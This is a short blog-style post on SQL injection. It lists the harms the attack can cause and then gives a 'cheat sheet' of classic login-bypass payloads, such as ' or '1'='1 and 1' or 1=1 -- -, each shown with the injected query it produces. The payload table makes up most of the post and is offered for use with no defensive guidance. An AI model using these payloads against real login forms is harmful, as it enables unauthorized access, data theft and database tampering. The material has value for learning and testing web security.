SQL INJECTION
What can SQL Injection do?
- Bypass a web application’s authorization mechanisms and extract sensitive information
- Easily control application behavior that’s based on data in the database
- Inject further malicious code to be executed when users access the application
- Add, modify and delete data, corrupting the database, and making the application or unusable
- Enumerate the authentication details of a user registered on a website and use the data in attacks on other sites.
Cheat sheet
User name | Password | SQL Query |
---|---|---|
tom | tom | SELECT * FROM users WHERE name='tom' and password='tom' |
tom | ' or '1'='1 | SELECT * FROM users WHERE name='tom' and password='' or '1'='1' |
tom | ' or 1='1 | SELECT * FROM users WHERE name='tom' and password='' or 1='1' |
tom | 1' or 1=1 -- - | SELECT * FROM users WHERE name='tom' and password='' or 1=1-- -' |
' or '1'='1 | ' or '1'='1 | SELECT * FROM users WHERE name='' or '1'='1' and password='' or '1'='1' |
' or ' 1=1 | ' or ' 1=1 | SELECT * FROM users WHERE name='' or ' 1=1' and password='' or ' 1=1' |
1' or 1=1 -- - | blah | SELECT * FROM users WHERE name='1' or 1=1 -- -' and password='blah' |
Comments
Post a Comment
If you want information about anything else, then tell me in your comment